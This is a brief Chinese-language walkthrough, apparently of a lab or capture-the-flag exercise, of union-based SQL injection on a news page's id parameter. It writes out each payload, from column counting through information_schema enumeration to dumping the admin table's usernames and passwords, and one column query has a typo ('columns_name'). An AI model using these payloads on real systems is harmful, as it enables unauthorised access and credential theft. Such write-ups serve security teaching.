Sql注入攻击原理-5-----第一节
题目内容
先搜集信息,这边先是看到有一个像是跳转 ,点击查看新闻,点开看一下
看到url,去测试一下是否存在注入
Url后添加id=1显示正常,id=10显示错误,确定存在注入,先来判断一下长度order by 1,判断出这个页面字段数为2,union select 1,2 显示回显点
查询当前数据库union select 1,database()
查表union select 1,table_name from information_schema.tables where table_schema=’maoshe’
查字段union select 1,columns_name from information_schema.columns where table_schema=’maoshe’ and table_name=’admin’
查字段内容union select 1,username from admin
union select 1,password from admin
得到管理员用户和密码